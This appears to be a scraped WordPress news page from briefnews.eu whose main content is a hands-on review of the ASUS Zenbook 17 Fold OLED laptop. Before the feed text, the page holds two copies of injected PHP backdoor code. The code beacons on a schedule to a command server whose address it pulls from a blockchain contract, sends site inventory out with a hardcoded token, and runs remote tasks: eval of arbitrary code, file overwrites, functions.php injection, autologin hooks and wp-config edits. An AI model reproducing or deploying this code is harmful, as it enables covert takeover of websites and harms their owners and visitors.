// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ASUS – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 19 Sep 2022 13:19:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ASUS – Brief News https://briefnews.eu 32 32 ASUS Zenbook 17 Fold OLED review: Great screen, now do the keyboard https://briefnews.eu/asus-zenbook-17-fold-oled-review-great-screen-now-do-the-keyboard/ https://briefnews.eu/asus-zenbook-17-fold-oled-review-great-screen-now-do-the-keyboard/#respond Mon, 19 Sep 2022 13:19:53 +0000 https://briefnews.eu/asus-zenbook-17-fold-oled-review-great-screen-now-do-the-keyboard/ Just like a relationship, going on a trip with a gadget is one of the best ways of finding out how well you and your partner work together. So to really test ASUS’ first go at making a laptop with a flexible display, I took the Zenbook 17 Fold OLED on a journey across four countries in nine days. And while there are a few issues that need to be addressed, my experience was surprisingly positive and renewed my excitement for the category as a whole (especially after Lenovo’s ambitious but flawed first try back in 2020). Now that doesn’t mean you should run out and get one, because starting at $ 3,500, the Zenbook 17 Fold is far from affordable. But for all the foldable haters out there, ASUS’ latest effort has proven it’s way too early to write off the next wave of new-fangled flexy laptops.

Design

For the Zenbook 17 Fold it’s almost as if ASUS took the blueprint for the ThinkPad X1 Fold, put it in a photocopier and then hit the enlarge button. Sure, the Zenbook is a little prettier thanks to some leather panels and a bit of lovely frosted glass around back, but it’s clear ASUS didn’t try to deviate too much from Lenovo’s formula. We have a big flexible OLED display (with no obvious crease, I should add) that’s augmented by a built-in kickstand and a detachable magnetic keyboard that neatly fits inside the gap that forms when the system is folded in half. While it’s a bit bulky, measuring 1.25 inches thick in clamshell mode and weighing just over four pounds including its keyboard (4.04 to be exact), the Zenbook 17 Fold is still lighter than a lot of similarly-sized traditional laptops like Dell’s XPS 17.

That said, I’m not trying to neg ASUS’ lack of originality, because by going with a bigger 17.3-inch display (up from 13.3 inches on the ThinkPad X1 Fold), it created a hybrid that finally works as both a laptop and a portable all-in-one desktop of sorts. In laptop mode, the ZenBook 17 Fold converts to a system that’s similar in size to a 12.5-inch notebook. This is great when you’re trying to get work done on an airplane tray table or anywhere else space is a premium. And because the detachable keyboard sits on top of the bottom half of the screen, you still get a very familiar mousing and typing experience.

But when you get to a hotel or cafe with a bit more room, that’s when the real magic happens. By fully deploying that 17.3-inch screen, suddenly you have a ton of extra space for productivity, gaming (well light gaming) or anything else. Does it take some extra effort? Yeah. But at the same time, it’s actually kind of practical (and it doesn’t hurt that it reminds me of playing with Transformers as a kid). You can prop up the Zenbook using ASUS’ built-in kickstand while positioning the Bluetooth keyboard wherever you like. And because there are two Thunderbolt 4 ports on different sides of the machine, it’s easy to plug in peripherals or a power cable when you need to recharge.

In laptop mode, the Asus Zenbook 17 Fold OLED is similar in size to a 12.5-inch notebook, which makes it easy to use in tight spaces without feeling too cramped.
Sam Rutherford/Engadget

Aside from laptop and desktop modes, you can also use the Zenbook 17 Fold as a big tablet, which allowed my wife and I to watch She-Hulk while waiting at the gate for our flight. Despite some sizable letterboxing, it was really nice having a bigger display to look at as opposed to huddling around a six-inch phone. There’s even something ASUS calls book mode that feels kinda like you’re holding a giant magazine (remember those?). Though similar to tablet mode, the sheer size of the screen makes both tablet and book modes feel a bit too unwieldy to use with any sort of regularity.

Unfortunately, ASUS didn’t copy the same sort of mil-spec 810G durability Lenovo provides with the X1 Fold. But even so, after more than a week of being tossed in a bag that got thrown under seats or into multiple overheard cargo bins, the Zenbook made it out unscathed. So not quite army-grade, but as far as my battle testing goes, it gets a pass.

Display and cameras

In addition to desktop and laptop modes, you can also use the Asus Zenbook 17 Fold OLED as a big tablet or even in book mode, the latter of which kind of feels like holding a giant magazine.
Sam Rutherford/Engadget

As for the screen itself, ASUS touts a peak brightness of 500 nits for HDR content, though in more typical conditions, I found that the Zenbook outputs closer to 350 nits, which is plenty bright for general use. Around the outside of the display, there are half-inch bezels that do look kind of chunky compared to other modern laptops. But given the amount of bending, flipping and moving of the screen you do with the Zenbook, I don’t think I’d want them any smaller, at least not until ASUS can shave some weight off this thing.

The real highlight of the 2560 x 1920 OLED panel is all the bright colors and deep blacks. I know OLED screens are becoming more popular on premium systems, but the vibrancy you get from them is even more impressive on a flexible display. The screen’s one small weakness is its shiny coating, which likes to pick up fingerprints while also being a bit more reflective than your typical glossy panel. I also want to mention that despite its display dominating the Zenbook’s design, its quad Dolby Atmos speakers sound quite good for its size.

The Zenbook 17 Fold OLED features a main 5MP cam along with some extra IR cams that can be used to automatically lock the laptop when you walk away or activate a screen saver to prevent potential burn-in.
Sam Rutherford/Engadget

To handle video calls, the Zenbook features a nifty set of cameras which include a 5MP main shooter and some IR sensors, which can be used for facial login or to detect your presence. This allows the laptop to automatically lock itself when you walk away for some added security or to turn on a screen saver to reduce battery drain and prevent potential burn-in. The one quirk is that because the Zenbook was designed to be primarily used in desktop mode, you’ll get vertical pics and videos in laptop mode, which isn’t exactly ideal for meetings. Meanwhile, because the webcam sits on the side of the display in desktop mode, properly positioning your face in the center can be a little tricky too.

Performance

The ZenBook 17 Fold is pretty well-rounded with an Intel Core i7-1250U CPU, 16GB of RAM and 1TB of storage. Performance was generally smooth and I only encountered a few hitches once the battery dipped below five percent. But, the choice of a U-series chip means the Zenbook isn’t quite as powerful as many traditional clamshells, with systems like the Dell XPS 13 Plus and Lenovo Yoga 9i posting higher scores across a number of tests including Geekbench 5 and PCMark 10. In short, it can handle typical productivity and even a bit of very casual gaming, just don’t expect much more than that.

Keyboard and software

The Zenbook 17 Fold's keyboard connects wirelessly over Bluetooth and can be stowed inside the system while traveling. But it's plagued by erratic connectivity that often causes your cursor to jump around or not respond to input.
Sam Rutherford/Engadget

Alright, so far everything has been pretty positive, but without getting overly doom and gloom, it’s time to talk about the Zenbook’s flaws. In theory, its magnetic keyboard is the perfect companion for a flexible hybrid. It connects wirelessly over Bluetooth and its tailored dimensions mean you can tuck it away neatly inside the display while traveling. You even get 1.4mm of key travel, which is pretty great on a peripheral this thin.

Unfortunately, actually using it feels like trying to give medicine to an upset baby, because no matter how nicely you ask, it just won’t listen to you. At first, the keyboard struggled to stay connected, which meant I had to unpair and repair it every time the Zenbook went to sleep. Then I noticed that its touchpad was jumpy and erratic, sometimes bouncing around without me moving my finger or being slow to respond to commands.

Asus' ScreenXpert software makes it easy to arrange in various layouts across all of the Zenbook 17 Fold's assorted modes.
Sam Rutherford/Engadget

To make matters worse, while the system is supposed to automatically recognize when you lay the keyboard on top of the bottom half of the screen in laptop mode, for some reason the Zenbook simply ignored that procedure when launching certain apps. This causes everything to jump back into full-screen mode until you lift the keyboard and drop it down again, which is downright frustrating especially when you’re trying to play a game. It’s not just me either, practically everyotherperson who has reviewed the Zenbook 17 Fold has encountered similar issues, which is a real shame because it puts a real damper on the device’s potential.

Furthermore, while the keyboard has a USB-C port for charging and excellent battery life (upwards of 12 hours), you still have to charge it separately (there’s no backlighting either). This feels like a weird oversight compared to something like a Surface Pro and Microsoft’s Type Covers, where you never need to worry about connectivity issues or keeping the keyboard topped up because they’re an integral part of the system. But with the Zenbook, while it looks like a core component, the keyboard feels more like an afterthought.

The Zenbook 178 fold features two Thunderbolt 4 ports on different sides of the system, so at least one is always easily accessible.
Sam Rutherford/Engadget

Also, I have to mention that on a device this expensive, some of ASUS’ software and pre-loaded bloat is rather irritating. In addition to McAfee LiveSafe constantly bombarding you with unnecessary notifications, trying to find important settings in the MyASUS app is a real chore. But the thing that really pisses me off is that ASUS’ GlideX app — which lets you turn a spare tablet or phone into a secondary display — is limited to 720p and has embedded ads unless you pay extra to unlock the Plus, Pro or Ultra tiers. I mean come on, this is a very expensive (and sort of experimental) premium device, those perks really ought to be free. And no, limited-time promos don’t count.

Battery life

When it comes to longevity, one of the big fears with a flexible convertible like this is that all the extra support required to hold everything together takes up valuable room where a battery might go. But to my pleasant surprise, the Zenbook 17 Fold fared better than I expected. On our local video rundown test, it lasted 14 hours and 9 minutes in desktop mode, and an even better 15:26 in laptop mode. That’s a good mark for any portable PC, and as long as you’re not overloading the processor, the Zenbook’s battery holds up during everyday use as well.

Wrap-up

The Zenbook 17 Fold has a built-in kickstand which makes desktop mode super easy to use whenever you have some extra table space.
Sam Rutherford/Engadget

After using this thing for the better part of two weeks and lugging it across half of Europe, I’ve got some thoughts. At first, I was constantly worried about breaking it during my travels. But once those concerns faded, I started to really appreciate its flexibility. Simply thinking about this as a standard 2-in-1 isn’t quite right, because it’s a lot more adaptable than that.

